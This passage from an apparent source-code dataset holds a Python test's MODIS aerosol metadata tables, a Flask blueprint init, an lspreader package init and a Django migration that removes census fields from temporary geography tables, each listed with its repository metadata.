'_FillValue': np.array([-999.]), 'valid_range': np.array([0.00000000e+00, 3.155800064e+09]), 'Geolocation_Pointer': 'Internal geolocation arrays', 'Cell_Along_Swath_Sampling': np.array([ 5, 2025, 10], dtype=np.int32), 'Cell_Across_Swath_Sampling': np.array([ 5, 1345, 10], dtype=np.int32), 'Parameter_Type': 'MODIS Input', 'add_offset': np.array([0.]), 'scale_factor': np.array([1.]), 'units': 'Seconds since 1993-1-1 00:00:00.0 0', 'long_name': 'TAI Time at Start of Scan replicated across the swath'}, 'Latitude_mod04': {'long_name': 'latitude', 'units': 'degrees_north', 'hdfeos_name': 'Latitude', '_FillValue': np.array([-999.], dtype=np.float32)}, 'Longitude_mod04': {'long_name': 'longitude', 'units': 'degrees_east', 'hdfeos_name': 'Longitude', '_FillValue': np.array([-999.], dtype=np.float32)}} var_coordinates = {'MODIS_Band_Ocean_mod04': ['MODIS_Band_Ocean_mod04'], 'MODIS_Band_Land_mod04': ['MODIS_Band_Land_mod04'], 'Solution_Index_mod04': ['Solution_Index_mod04'], 'Solution_Ocean_mod04': ['Solution_Ocean_mod04'], 'Solution_3_Land_mod04': ['Solution_3_Land_mod04'], 'Solution_2_Land_mod04': ['Solution_2_Land_mod04'], 'Solution_1_Land_mod04': ['Solution_1_Land_mod04'], 'Quality_Assurance_Ocean_mod04': [], 'STD_Reflectance_Ocean_mod04': ['MODIS_Band_Ocean_mod04'], 'Mean_Reflectance_Ocean_mod04': ['MODIS_Band_Ocean_mod04'], 'Number_Pixels_Used_Ocean_mod04': [], 'Cloud_Fraction_Ocean_mod04': [], 'Optical_Depth_by_models_ocean_mod04': ['Solution_Index_mod04'], 'Optical_Depth_Ratio_Small_Ocean_0_86micron_mod04': ['Solution_Ocean_mod04'], 'Least_Squares_Error_Ocean_mod04': ['Solution_Ocean_mod04'], 'Transmitted_Flux_Average_Ocean_mod04': ['MODIS_Band_Ocean_mod04'], 'Transmitted_Flux_Best_Ocean_mod04': ['MODIS_Band_Ocean_mod04'], 'Reflected_Flux_Average_Ocean_mod04': ['MODIS_Band_Ocean_mod04'], 'Reflected_Flux_Best_Ocean_mod04': ['MODIS_Band_Ocean_mod04'], 'Angstrom_Exponent_2_Ocean_mod04': ['Solution_Ocean_mod04'], 'Angstrom_Exponent_1_Ocean_mod04': ['Solution_Ocean_mod04'], 'Backscattering_Ratio_Average_Ocean_mod04': ['MODIS_Band_Ocean_mod04'], 'Backscattering_Ratio_Best_Ocean_mod04': ['MODIS_Band_Ocean_mod04'], 'Asymmetry_Factor_Average_Ocean_mod04': ['MODIS_Band_Ocean_mod04'], 'Asymmetry_Factor_Best_Ocean_mod04': ['MODIS_Band_Ocean_mod04'], 'Cloud_Condensation_Nuclei_Ocean_mod04': ['Solution_Ocean_mod04'], 'Effective_Radius_Ocean_mod04': ['Solution_Ocean_mod04'], 'Mass_Concentration_Ocean_mod04': ['Solution_Ocean_mod04'], 'Optical_Depth_Large_Average_Ocean_mod04': ['MODIS_Band_Ocean_mod04'], 'Optical_Depth_Large_Best_Ocean_mod04': ['MODIS_Band_Ocean_mod04'], 'Optical_Depth_Small_Average_Ocean_mod04': ['MODIS_Band_Ocean_mod04'], 'Optical_Depth_Small_Best_Ocean_mod04': ['MODIS_Band_Ocean_mod04'], 'Effective_Optical_Depth_Average_Ocean_mod04': ['MODIS_Band_Ocean_mod04'], 'Effective_Optical_Depth_Best_Ocean_mod04': ['MODIS_Band_Ocean_mod04'], 'Solution_Index_Ocean_Large_mod04': ['Solution_Ocean_mod04'], 'Solution_Index_Ocean_Small_mod04': ['Solution_Ocean_mod04'], 'Quality_Assurance_Crit_Ref_Land_mod04': [], 'Quality_Assurance_Land_mod04': [], 'STD_Reflectance_Land_mod04': ['MODIS_Band_Land_mod04'], 'Mean_Reflectance_Land_mod04': ['MODIS_Band_Land_mod04'], 'Number_Pixels_Percentile_Land_mod04': ['Solution_1_Land_mod04'], 'Optical_Depth_Ratio_Small_Land_mod04': [], 'Cloud_Fraction_Land_mod04': [], 'Transmitted_Flux_Land_mod04': ['Solution_1_Land_mod04'], 'Reflected_Flux_Land_mod04': ['Solution_2_Land_mod04'], 'Angstrom_Exponent_Land_mod04': [], 'Mass_Concentration_Land_mod04': [], 'Estimated_Uncertainty_Land_mod04': ['Solution_1_Land_mod04'], 'Corrected_Optical_Depth_Land_mod04': ['Solution_2_Land_mod04'], 'Continental_Optical_Depth_Land_mod04': ['Solution_1_Land_mod04'], 'Aerosol_Type_Land_mod04': [], 'QualityWeight_Critical_Reflectance_Land_mod04': ['Solution_1_Land_mod04'], 'QualityWeight_Path_Radiance_Land_mod04': ['Solution_1_Land_mod04'], 'Error_Critical_Reflectance_Land_mod04': ['Solution_1_Land_mod04'], 'Critical_Reflectance_Land_mod04': ['Solution_1_Land_mod04'], 'Error_Path_Radiance_Land_mod04': ['Solution_1_Land_mod04'], 'Path_Radiance_Land_mod04': ['Solution_1_Land_mod04'], 'Standard_Deviation_Reflectance_Land_All_mod04': ['Solution_3_Land_mod04'], 'Mean_Reflectance_Land_All_mod04': ['Solution_3_Land_mod04'], 'Reflected_Flux_Land_And_Ocean_mod04': [], 'Optical_Depth_Ratio_Small_Land_And_Ocean_mod04': [], 'Optical_Depth_Land_And_Ocean_mod04': [], 'Scattering_Angle_mod04': [], 'Cloud_Mask_QA_mod04': [], 'Sensor_Azimuth_mod04': [], 'Sensor_Zenith_mod04': [], 'Solar_Azimuth_mod04': [], 'Solar_Zenith_mod04': [], 'Scan_Start_Time_mod04': [], 'Latitude_mod04': [], 'Longitude_mod04': []} var_dimensions = {'MODIS_Band_Ocean_mod04': ('MODIS_Band_Ocean_mod04',), 'MODIS_Band_Land_mod04': ('MODIS_Band_Land_mod04',), 'Solution_Index_mod04': ('Solution_Index_mod04',), 'Solution_Ocean_mod04': ('Solution_Ocean_mod04',), 'Solution_3_Land_mod04': ('Solution_3_Land_mod04',), 'Solution_2_Land_mod04': ('Solution_2_Land_mod04',), 'Solution_1_Land_mod04': ('Solution_1_Land_mod04',), 'Quality_Assurance_Ocean_mod04': ('Cell_Along_Swath_mod04', 'Cell_Across_Swath_mod04', 'QA_Byte_Ocean_mod04'), 'STD_Reflectance_Ocean_mod04': ('MODIS_Band_Ocean_mod04', 'Cell_Along_Swath_mod04', 'Cell_Across_Swath_mod04'), 'Mean_Reflectance_Ocean_mod04': ('MODIS_Band_Ocean_mod04', 'Cell_Along_Swath_mod04', 'Cell_Across_Swath_mod04'), 'Number_Pixels_Used_Ocean_mod04': ('Cell_Along_Swath_mod04', 'Cell_Across_Swath_mod04'), 'Cloud_Fraction_Ocean_mod04': ('Cell_Along_Swath_mod04', 'Cell_Across_Swath_mod04'), 'Optical_Depth_by_models_ocean_mod04': ('Solution_Index_mod04', 'Cell_Along_Swath_mod04', 'Cell_Across_Swath_mod04'), 'Optical_Depth_Ratio_Small_Ocean_0_86micron_mod04': ('Solution_Ocean_mod04', 'Cell_Along_Swath_mod04', 'Cell_Across_Swath_mod04'), 'Least_Squares_Error_Ocean_mod04': ('Solution_Ocean_mod04', 'Cell_Along_Swath_mod04', 'Cell_Across_Swath_mod04'), 'Transmitted_Flux_Average_Ocean_mod04': ('MODIS_Band_Ocean_mod04', 'Cell_Along_Swath_mod04', 'Cell_Across_Swath_mod04'), 'Transmitted_Flux_Best_Ocean_mod04': ('MODIS_Band_Ocean_mod04', 'Cell_Along_Swath_mod04', 'Cell_Across_Swath_mod04'), 'Reflected_Flux_Average_Ocean_mod04': ('MODIS_Band_Ocean_mod04', 'Cell_Along_Swath_mod04', 'Cell_Across_Swath_mod04'), 'Reflected_Flux_Best_Ocean_mod04': ('MODIS_Band_Ocean_mod04', 'Cell_Along_Swath_mod04', 'Cell_Across_Swath_mod04'), 'Angstrom_Exponent_2_Ocean_mod04': ('Solution_Ocean_mod04', 'Cell_Along_Swath_mod04', 'Cell_Across_Swath_mod04'), 'Angstrom_Exponent_1_Ocean_mod04': ('Solution_Ocean_mod04', 'Cell_Along_Swath_mod04', 'Cell_Across_Swath_mod04'), 'Backscattering_Ratio_Average_Ocean_mod04': ('MODIS_Band_Ocean_mod04', 'Cell_Along_Swath_mod04', 'Cell_Across_Swath_mod04'), 'Backscattering_Ratio_Best_Ocean_mod04': ('MODIS_Band_Ocean_mod04', 'Cell_Along_Swath_mod04', 'Cell_Across_Swath_mod04'), 'Asymmetry_Factor_Average_Ocean_mod04': ('MODIS_Band_Ocean_mod04', 'Cell_Along_Swath_mod04', 'Cell_Across_Swath_mod04'), 'Asymmetry_Factor_Best_Ocean_mod04': ('MODIS_Band_Ocean_mod04', 'Cell_Along_Swath_mod04', 'Cell_Across_Swath_mod04'), 'Cloud_Condensation_Nuclei_Ocean_mod04': ('Solution_Ocean_mod04', 'Cell_Along_Swath_mod04', 'Cell_Across_Swath_mod04'), 'Effective_Radius_Ocean_mod04': ('Solution_Ocean_mod04', 'Cell_Along_Swath_mod04', 'Cell_Across_Swath_mod04'), 'Mass_Concentration_Ocean_mod04': ('Solution_Ocean_mod04', 'Cell_Along_Swath_mod04', 'Cell_Across_Swath_mod04'), 'Optical_Depth_Large_Average_Ocean_mod04': ('MODIS_Band_Ocean_mod04', 'Cell_Along_Swath_mod04', 'Cell_Across_Swath_mod04'), 'Optical_Depth_Large_Best_Ocean_mod04': ('MODIS_Band_Ocean_mod04', 'Cell_Along_Swath_mod04', 'Cell_Across_Swath_mod04'), 'Optical_Depth_Small_Average_Ocean_mod04': ('MODIS_Band_Ocean_mod04', 'Cell_Along_Swath_mod04', 'Cell_Across_Swath_mod04'), 'Optical_Depth_Small_Best_Ocean_mod04': ('MODIS_Band_Ocean_mod04', 'Cell_Along_Swath_mod04', 'Cell_Across_Swath_mod04'), 'Effective_Optical_Depth_Average_Ocean_mod04': ('MODIS_Band_Ocean_mod04', 'Cell_Along_Swath_mod04', 'Cell_Across_Swath_mod04'), 'Effective_Optical_Depth_Best_Ocean_mod04': ('MODIS_Band_Ocean_mod04', 'Cell_Along_Swath_mod04', 'Cell_Across_Swath_mod04'), 'Solution_Index_Ocean_Large_mod04': ('Solution_Ocean_mod04', 'Cell_Along_Swath_mod04', 'Cell_Across_Swath_mod04'), 'Solution_Index_Ocean_Small_mod04': ('Solution_Ocean_mod04', 'Cell_Along_Swath_mod04', 'Cell_Across_Swath_mod04'), 'Quality_Assurance_Crit_Ref_Land_mod04': ('Cell_Along_Swath_mod04', 'Cell_Across_Swath_mod04', 'QA_Byte_Land_mod04'), 'Quality_Assurance_Land_mod04': ('Cell_Along_Swath_mod04', 'Cell_Across_Swath_mod04', 'QA_Byte_Land_mod04'), 'STD_Reflectance_Land_mod04': ('MODIS_Band_Land_mod04', 'Cell_Along_Swath_mod04', 'Cell_Across_Swath_mod04'), 'Mean_Reflectance_Land_mod04': ('MODIS_Band_Land_mod04', 'Cell_Along_Swath_mod04', 'Cell_Across_Swath_mod04'), 'Number_Pixels_Percentile_Land_mod04': ('Solution_1_Land_mod04', 'Cell_Along_Swath_mod04', 'Cell_Across_Swath_mod04'), 'Optical_Depth_Ratio_Small_Land_mod04': ('Cell_Along_Swath_mod04', 'Cell_Across_Swath_mod04'), 'Cloud_Fraction_Land_mod04': ('Cell_Along_Swath_mod04', 'Cell_Across_Swath_mod04'), 'Transmitted_Flux_Land_mod04': ('Solution_1_Land_mod04', 'Cell_Along_Swath_mod04', 'Cell_Across_Swath_mod04'), 'Reflected_Flux_Land_mod04': ('Solution_2_Land_mod04', 'Cell_Along_Swath_mod04', 'Cell_Across_Swath_mod04'), 'Angstrom_Exponent_Land_mod04': ('Cell_Along_Swath_mod04', 'Cell_Across_Swath_mod04'), 'Mass_Concentration_Land_mod04': ('Cell_Along_Swath_mod04', 'Cell_Across_Swath_mod04'), 'Estimated_Uncertainty_Land_mod04': ('Solution_1_Land_mod04', 'Cell_Along_Swath_mod04', 'Cell_Across_Swath_mod04'), 'Corrected_Optical_Depth_Land_mod04': ('Solution_2_Land_mod04', 'Cell_Along_Swath_mod04', 'Cell_Across_Swath_mod04'), 'Continental_Optical_Depth_Land_mod04': ('Solution_1_Land_mod04', 'Cell_Along_Swath_mod04', 'Cell_Across_Swath_mod04'), 'Aerosol_Type_Land_mod04': ('Cell_Along_Swath_mod04', 'Cell_Across_Swath_mod04'), 'QualityWeight_Critical_Reflectance_Land_mod04': ('Solution_1_Land_mod04', 'Cell_Along_Swath_mod04', 'Cell_Across_Swath_mod04'), 'QualityWeight_Path_Radiance_Land_mod04': ('Solution_1_Land_mod04', 'Cell_Along_Swath_mod04', 'Cell_Across_Swath_mod04'), 'Error_Critical_Reflectance_Land_mod04': ('Solution_1_Land_mod04', 'Cell_Along_Swath_mod04', 'Cell_Across_Swath_mod04'), 'Critical_Reflectance_Land_mod04': ('Solution_1_Land_mod04', 'Cell_Along_Swath_mod04', 'Cell_Across_Swath_mod04'), 'Error_Path_Radiance_Land_mod04': ('Solution_1_Land_mod04', 'Cell_Along_Swath_mod04', 'Cell_Across_Swath_mod04'), 'Path_Radiance_Land_mod04': ('Solution_1_Land_mod04', 'Cell_Along_Swath_mod04', 'Cell_Across_Swath_mod04'), 'Standard_Deviation_Reflectance_Land_All_mod04': ('Solution_3_Land_mod04', 'Cell_Along_Swath_mod04', 'Cell_Across_Swath_mod04'), 'Mean_Reflectance_Land_All_mod04': ('Solution_3_Land_mod04', 'Cell_Along_Swath_mod04', 'Cell_Across_Swath_mod04'), 'Reflected_Flux_Land_And_Ocean_mod04': ('Cell_Along_Swath_mod04', 'Cell_Across_Swath_mod04'), 'Optical_Depth_Ratio_Small_Land_And_Ocean_mod04': ('Cell_Along_Swath_mod04', 'Cell_Across_Swath_mod04'), 'Optical_Depth_Land_And_Ocean_mod04': ('Cell_Along_Swath_mod04', 'Cell_Across_Swath_mod04'), 'Scattering_Angle_mod04': ('Cell_Along_Swath_mod04', 'Cell_Across_Swath_mod04'), 'Cloud_Mask_QA_mod04': ('Cell_Along_Swath_mod04', 'Cell_Across_Swath_mod04'), 'Sensor_Azimuth_mod04': ('Cell_Along_Swath_mod04', 'Cell_Across_Swath_mod04'), 'Sensor_Zenith_mod04': ('Cell_Along_Swath_mod04', 'Cell_Across_Swath_mod04'), 'Solar_Azimuth_mod04': ('Cell_Along_Swath_mod04', 'Cell_Across_Swath_mod04'), 'Solar_Zenith_mod04': ('Cell_Along_Swath_mod04', 'Cell_Across_Swath_mod04'), 'Scan_Start_Time_mod04': ('Cell_Along_Swath_mod04', 'Cell_Across_Swath_mod04'), 'Latitude_mod04': ('Cell_Along_Swath_mod04', 'Cell_Across_Swath_mod04'), 'Longitude_mod04': ('Cell_Along_Swath_mod04', 'Cell_Across_Swath_mod04')} var_shapes = {'MODIS_Band_Ocean_mod04': (7,), 'MODIS_Band_Land_mod04': (5,), 'Solution_Index_mod04': (9,), 'Solution_Ocean_mod04': (2,), 'Solution_3_Land_mod04': (3,), 'Solution_2_Land_mod04': (3,), 'Solution_1_Land_mod04': (2,), 'Quality_Assurance_Ocean_mod04': (203, 135, 5), 'STD_Reflectance_Ocean_mod04': (7, 203, 135), 'Mean_Reflectance_Ocean_mod04': (7, 203, 135), 'Number_Pixels_Used_Ocean_mod04': (203, 135), 'Cloud_Fraction_Ocean_mod04': (203, 135), 'Optical_Depth_by_models_ocean_mod04': (9, 203, 135), 'Optical_Depth_Ratio_Small_Ocean_0_86micron_mod04': (2, 203, 135), 'Least_Squares_Error_Ocean_mod04': (2, 203, 135), 'Transmitted_Flux_Average_Ocean_mod04': (7, 203, 135), 'Transmitted_Flux_Best_Ocean_mod04': (7, 203, 135), 'Reflected_Flux_Average_Ocean_mod04': (7, 203, 135), 'Reflected_Flux_Best_Ocean_mod04': (7, 203, 135), 'Angstrom_Exponent_2_Ocean_mod04': (2, 203, 135), 'Angstrom_Exponent_1_Ocean_mod04': (2, 203, 135), 'Backscattering_Ratio_Average_Ocean_mod04': (7, 203, 135), 'Backscattering_Ratio_Best_Ocean_mod04': (7, 203, 135), 'Asymmetry_Factor_Average_Ocean_mod04': (7, 203, 135), 'Asymmetry_Factor_Best_Ocean_mod04': (7, 203, 135), 'Cloud_Condensation_Nuclei_Ocean_mod04': (2, 203, 135), 'Effective_Radius_Ocean_mod04': (2, 203, 135), 'Mass_Concentration_Ocean_mod04': (2, 203, 135), 'Optical_Depth_Large_Average_Ocean_mod04': (7, 203, 135), 'Optical_Depth_Large_Best_Ocean_mod04': (7, 203, 135), 'Optical_Depth_Small_Average_Ocean_mod04': (7, 203, 135), 'Optical_Depth_Small_Best_Ocean_mod04': (7, 203, 135), 'Effective_Optical_Depth_Average_Ocean_mod04': (7, 203, 135), 'Effective_Optical_Depth_Best_Ocean_mod04': (7, 203, 135), 'Solution_Index_Ocean_Large_mod04': (2, 203, 135), 'Solution_Index_Ocean_Small_mod04': (2, 203, 135), 'Quality_Assurance_Crit_Ref_Land_mod04': (203, 135, 5), 'Quality_Assurance_Land_mod04': (203, 135, 5), 'STD_Reflectance_Land_mod04': (5, 203, 135), 'Mean_Reflectance_Land_mod04': (5, 203, 135), 'Number_Pixels_Percentile_Land_mod04': (2, 203, 135), 'Optical_Depth_Ratio_Small_Land_mod04': (203, 135), 'Cloud_Fraction_Land_mod04': (203, 135), 'Transmitted_Flux_Land_mod04': (2, 203, 135), 'Reflected_Flux_Land_mod04': (3, 203, 135), 'Angstrom_Exponent_Land_mod04': (203, 135), 'Mass_Concentration_Land_mod04': (203, 135), 'Estimated_Uncertainty_Land_mod04': (2, 203, 135), 'Corrected_Optical_Depth_Land_mod04': (3, 203, 135), 'Continental_Optical_Depth_Land_mod04': (2, 203, 135), 'Aerosol_Type_Land_mod04': (203, 135), 'QualityWeight_Critical_Reflectance_Land_mod04': (2, 203, 135), 'QualityWeight_Path_Radiance_Land_mod04': (2, 203, 135), 'Error_Critical_Reflectance_Land_mod04': (2, 203, 135), 'Critical_Reflectance_Land_mod04': (2, 203, 135), 'Error_Path_Radiance_Land_mod04': (2, 203, 135), 'Path_Radiance_Land_mod04': (2, 203, 135), 'Standard_Deviation_Reflectance_Land_All_mod04': (3, 203, 135), 'Mean_Reflectance_Land_All_mod04': (3, 203, 135), 'Reflected_Flux_Land_And_Ocean_mod04': (203, 135), 'Optical_Depth_Ratio_Small_Land_And_Ocean_mod04': (203, 135), 'Optical_Depth_Land_And_Ocean_mod04': (203, 135), 'Scattering_Angle_mod04': (203, 135), 'Cloud_Mask_QA_mod04': (203, 135), 'Sensor_Azimuth_mod04': (203, 135), 'Sensor_Zenith_mod04': (203, 135), 'Solar_Azimuth_mod04': (203, 135), 'Solar_Zenith_mod04': (203, 135), 'Scan_Start_Time_mod04': (203, 135), 'Latitude_mod04': (203, 135), 'Longitude_mod04': (203, 135)} var_values = {'Solar_Zenith_mod04': (np.int16(6133), np.int16(8605), np.float64(7363.28049626), 0), 'Solution_Ocean_mod04': (np.int16(1), np.int16(2), np.float64(1.5), 0), 'Optical_Depth_by_models_ocean_mod04': (np.int16(0), np.int16(72), np.float64(7.95495495495), 246312), 'Optical_Depth_Ratio_Small_Land_And_Ocean_mod04': (np.int16(366), np.int16(756), np.float64(589.216216216), 27368), 'Mass_Concentration_Land_mod04': (np.ma.masked, np.ma.masked, np.ma.masked, 27405), 'STD_Reflectance_Ocean_mod04': (np.int16(3), np.int16(64), np.float64(19.3822393822), 191576), 'Angstrom_Exponent_Land_mod04': (np.ma.masked, np.ma.masked, np.ma.masked, 27405), 'Estimated_Uncertainty_Land_mod04': (np.ma.masked, np.ma.masked, np.ma.masked, 54810), 'Transmitted_Flux_Average_Ocean_mod04': (np.int16(788), np.int16(992), np.float64(927.548262548), 191576), 'Solution_Index_Ocean_Large_mod04': (np.int16(5), np.int16(8), np.float64(6.10810810811), 54736), 'Transmitted_Flux_Land_mod04': (np.ma.masked, np.ma.masked, np.ma.masked, 54810), 'Standard_Deviation_Reflectance_Land_All_mod04': (np.int16(0), np.int16(0), np.float64(0.0), 80832), 'MODIS_Band_Ocean_mod04': (np.int16(470), np.int16(2130), np.float64(1079.85714286), 0), 'Longitude_mod04': (np.float32(-179.982162476), np.float32(179.997695923), np.float32(-3.1039249897), 0), 'Reflected_Flux_Best_Ocean_mod04': (np.int16(61), np.int16(278), np.float64(135.181467181), 191576), 'Optical_Depth_Large_Best_Ocean_mod04': (np.int16(7), np.int16(78), np.float64(32.9305019305), 191576), 'Quality_Assurance_Land_mod04': (np.int8(-16), np.int8(56), np.float64(13.6657539977), 84432), 'Angstrom_Exponent_1_Ocean_mod04': (np.int16(322), np.int16(1520), np.float64(972.986486486), 54736), 'Corrected_Optical_Depth_Land_mod04': (np.ma.masked, np.ma.masked, np.ma.masked, 82215), 'Asymmetry_Factor_Best_Ocean_mod04': (np.int16(558), np.int16(752), np.float64(668.733590734), 191576), 'Optical_Depth_Land_And_Ocean_mod04': (np.int16(30), np.int16(126), np.float64(71.5135135135), 27368), 'Backscattering_Ratio_Best_Ocean_mod04': (np.int16(185), np.int16(271), np.float64(223.111969112), 191576), 'Error_Critical_Reflectance_Land_mod04': (np.int16(0), np.int16(0), np.float64(0.0), 53888), 'Cloud_Fraction_Land_mod04': (np.ma.masked, np.ma.masked, np.ma.masked, 27405), 'Scan_Start_Time_mod04': (np.float64(258076805.828041), np.float64(258077104.203138), np.float64(258076955.01559186), 0), 'QualityWeight_Critical_Reflectance_Land_mod04': (np.int16(0), np.int16(0), np.float64(0.0), 53888), 'Number_Pixels_Used_Ocean_mod04': (np.int16(12), np.int16(166), np.float64(55.1891891892), 27368), 'Solution_Index_Ocean_Small_mod04': (np.int16(1), np.int16(4), np.float64(1.45945945946), 54736), 'Least_Squares_Error_Ocean_mod04': (np.int16(25), np.int16(119), np.float64(53.2027027027), 54736), 'Mean_Reflectance_Land_mod04': (np.ma.masked, np.ma.masked, np.ma.masked, 137025), 'MODIS_Band_Land_mod04': (np.int16(470), np.int16(3750), np.float64(1574.8), 0), 'Optical_Depth_Small_Average_Ocean_mod04': (np.int16(0), np.int16(110), np.float64(22.0463320463), 191576), 'Effective_Optical_Depth_Average_Ocean_mod04': (np.int16(9), np.int16(163), np.float64(53.4633204633), 191576), 'Reflected_Flux_Average_Ocean_mod04': (np.int16(61), np.int16(277), np.float64(135.131274131), 191576), 'STD_Reflectance_Land_mod04': (np.ma.masked, np.ma.masked, np.ma.masked, 137025), 'Aerosol_Type_Land_mod04': (np.ma.masked, np.ma.masked, np.ma.masked, 27405), 'Cloud_Mask_QA_mod04': (np.int8(-33), np.int8(127), np.float64(70.4317825214), 0), 'Angstrom_Exponent_2_Ocean_mod04': (np.int16(140), np.int16(1150), np.float64(469.743243243), 54736), 'Mean_Reflectance_Land_All_mod04': (np.int16(0), np.int16(0), np.float64(0.0), 80832), 'Reflected_Flux_Land_And_Ocean_mod04': (np.int16(160), np.int16(203), np.float64(181.810810811), 27368), 'Quality_Assurance_Crit_Ref_Land_mod04': (np.ma.masked, np.ma.masked, np.ma.masked, 137025), 'Cloud_Condensation_Nuclei_Ocean_mod04': (np.float32(0.00106935936492), np.float32(0.0864628851414), np.float64(0.0409857227996), 54736), 'Asymmetry_Factor_Average_Ocean_mod04': (np.int16(556), np.int16(748), np.float64(668.092664093), 191576), 'Critical_Reflectance_Land_mod04': (np.int16(0), np.int16(0), np.float64(0.0), 53888), 'Backscattering_Ratio_Average_Ocean_mod04': (np.int16(191), np.int16(273), np.float64(223.486486486), 191576), 'Optical_Depth_Small_Best_Ocean_mod04': (np.int16(0), np.int16(125), np.float64(22.6602316602), 191576), 'Mass_Concentration_Ocean_mod04': (np.ma.masked, np.ma.masked, np.ma.masked, 54810), 'Sensor_Azimuth_mod04': (np.int16(-9117), np.int16(14753), np.float64(2321.49684364), 0), 'Sensor_Zenith_mod04': (np.int16(30), np.int16(6511), np.float64(3130.63108922), 0), 'QualityWeight_Path_Radiance_Land_mod04': (np.int16(0), np.int16(0), np.float64(0.0), 53888), 'Quality_Assurance_Ocean_mod04': (np.int8(-128), np.int8(119), np.float64(-74.2057655162), 109586), 'Cloud_Fraction_Ocean_mod04': (np.int16(17), np.int16(94), np.float64(72.1621621622), 27368), 'Continental_Optical_Depth_Land_mod04': (np.ma.masked, np.ma.masked, np.ma.masked, 54810), 'Transmitted_Flux_Best_Ocean_mod04': (np.int16(783), np.int16(992), np.float64(926.474903475), 191576), 'Solution_2_Land_mod04': (np.int16(470), np.int16(660), np.float64(560.0), 0), 'Solar_Azimuth_mod04': (np.int16(-17997), np.int16(17997), np.float64(1609.12260536), 0), 'Mean_Reflectance_Ocean_mod04': (np.int16(42), np.int16(2896), np.float64(870.158301158), 191576), 'Latitude_mod04': (np.float32(55.5567932129), np.float32(78.8707275391), np.float32(67.7115859985), 0), 'Solution_Index_mod04': (np.int16(1), np.int16(9), np.float64(5.0), 0), 'Scattering_Angle_mod04': (np.int16(6912), np.int16(14469), np.float64(10445.5381135), 0), 'Reflected_Flux_Land_mod04': (np.ma.masked, np.ma.masked, np.ma.masked, 82215), 'Effective_Optical_Depth_Best_Ocean_mod04': (np.int16(9), np.int16(181), np.float64(55.5714285714), 191576), 'Path_Radiance_Land_mod04': (np.int16(0), np.int16(0), np.float64(0.0), 53888), 'Number_Pixels_Percentile_Land_mod04': (np.ma.masked, np.ma.masked, np.ma.masked, 54810), 'Optical_Depth_Ratio_Small_Land_mod04': (np.ma.masked, np.ma.masked, np.ma.masked, 27405), 'Solution_3_Land_mod04': (np.int16(470), np.int16(2130), np.float64(1086.66666667), 0), 'Solution_1_Land_mod04': (np.int16(470), np.int16(660), np.float64(565.0), 0), 'Effective_Radius_Ocean_mod04': (np.int16(179), np.int16(602), np.float64(317.554054054), 54736), 'Optical_Depth_Large_Average_Ocean_mod04': (np.int16(8), np.int16(74), np.float64(31.4362934363), 191576), 'Optical_Depth_Ratio_Small_Ocean_0_86micron_mod04': (np.int16(322), np.int16(742), np.float64(580.189189189), 54736), 'Error_Path_Radiance_Land_mod04': (np.int16(0), np.int16(0), np.float64(0.0), 53888)} def get_coord_dims(var): return [dim for dim in var.dimensions if dim in var.file.variables.keys()] if __name__ == '__main__': ut.main()

473.287671

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null

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ae08e86e4a15e2484d92fbe02e4e6b6b013809a7

90

py

Python

fact-bounty-flask/api_es/__init__.py

ganeshpatro321/fact-Bounty

2f178dffa4a68de668ea584034ec8de9bb39db55

[ "Apache-2.0" ]

null

fact-bounty-flask/api_es/__init__.py

ganeshpatro321/fact-Bounty

2f178dffa4a68de668ea584034ec8de9bb39db55

[ "Apache-2.0" ]

null

fact-bounty-flask/api_es/__init__.py

ganeshpatro321/fact-Bounty

2f178dffa4a68de668ea584034ec8de9bb39db55

[ "Apache-2.0" ]

null

from flask import Blueprint api_es = Blueprint('api_es', __name__) from . import routes

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null

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7

ae40233e94aa27179906864ceae69eb9a15666e9

78

py

Python

lspreader/__init__.py

noobermin/lspreader

b4989ba32507fdcf87cc226ba93422639ed5c5fb

[ "MIT" ]

null

lspreader/__init__.py

noobermin/lspreader

b4989ba32507fdcf87cc226ba93422639ed5c5fb

[ "MIT" ]

null

lspreader/__init__.py

noobermin/lspreader

b4989ba32507fdcf87cc226ba93422639ed5c5fb

[ "MIT" ]

1

2015-12-28T20:17:22.000Z

from .lspreader import read; from .lspreader import readgridp4,readregionsp4;

26

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0.666667

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ae4052b588f3324b31251f5c0ab20b64d3538cb7

4,429

py

Python

server/ahj_app/migrations/0003_auto_20210312_1830.py

btansy/ahj-registry

b5340c7474f610964e828588572846ce4fb088aa

[ "MIT" ]

4

2020-11-06T04:42:07.000Z

2021-07-28T18:09:26.000Z

server/ahj_app/migrations/0003_auto_20210312_1830.py

btansy/ahj-registry

b5340c7474f610964e828588572846ce4fb088aa

[ "MIT" ]

38

2020-08-19T20:20:08.000Z

2022-01-23T03:22:51.000Z

server/ahj_app/migrations/0003_auto_20210312_1830.py

btansy/ahj-registry

b5340c7474f610964e828588572846ce4fb088aa

[ "MIT" ]

8

2020-05-22T17:04:16.000Z

2021-01-15T19:14:36.000Z

# Generated by Django 3.1.3 on 2021-03-12 18:30 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('ahj_app', '0002_citytemp_countytemp_cousubtemp_statetemp'), ] operations = [ migrations.RemoveField( model_name='citytemp', name='CLASSFP', ), migrations.RemoveField( model_name='citytemp', name='FUNCSTAT', ), migrations.RemoveField( model_name='citytemp', name='LSAD', ), migrations.RemoveField( model_name='citytemp', name='MTFCC', ), migrations.RemoveField( model_name='citytemp', name='PCICBSA', ), migrations.RemoveField( model_name='citytemp', name='PCINECTA', ), migrations.RemoveField( model_name='citytemp', name='PLACEFP', ), migrations.RemoveField( model_name='citytemp', name='PLACENS', ), migrations.RemoveField( model_name='citytemp', name='STATEABBR', ), migrations.RemoveField( model_name='countytemp', name='CBSAFP', ), migrations.RemoveField( model_name='countytemp', name='CLASSFP', ), migrations.RemoveField( model_name='countytemp', name='COUNTYFP', ), migrations.RemoveField( model_name='countytemp', name='COUNTYNS', ), migrations.RemoveField( model_name='countytemp', name='CSAFP', ), migrations.RemoveField( model_name='countytemp', name='FUNCSTAT', ), migrations.RemoveField( model_name='countytemp', name='LSAD', ), migrations.RemoveField( model_name='countytemp', name='METDIVFP', ), migrations.RemoveField( model_name='countytemp', name='MTFCC', ), migrations.RemoveField( model_name='countytemp', name='STATEABBR', ), migrations.RemoveField( model_name='cousubtemp', name='CLASSFP', ), migrations.RemoveField( model_name='cousubtemp', name='CNECTAFP', ), migrations.RemoveField( model_name='cousubtemp', name='COUNTYFP', ), migrations.RemoveField( model_name='cousubtemp', name='COUSUBFP', ), migrations.RemoveField( model_name='cousubtemp', name='COUSUBNS', ), migrations.RemoveField( model_name='cousubtemp', name='FUNCSTAT', ), migrations.RemoveField( model_name='cousubtemp', 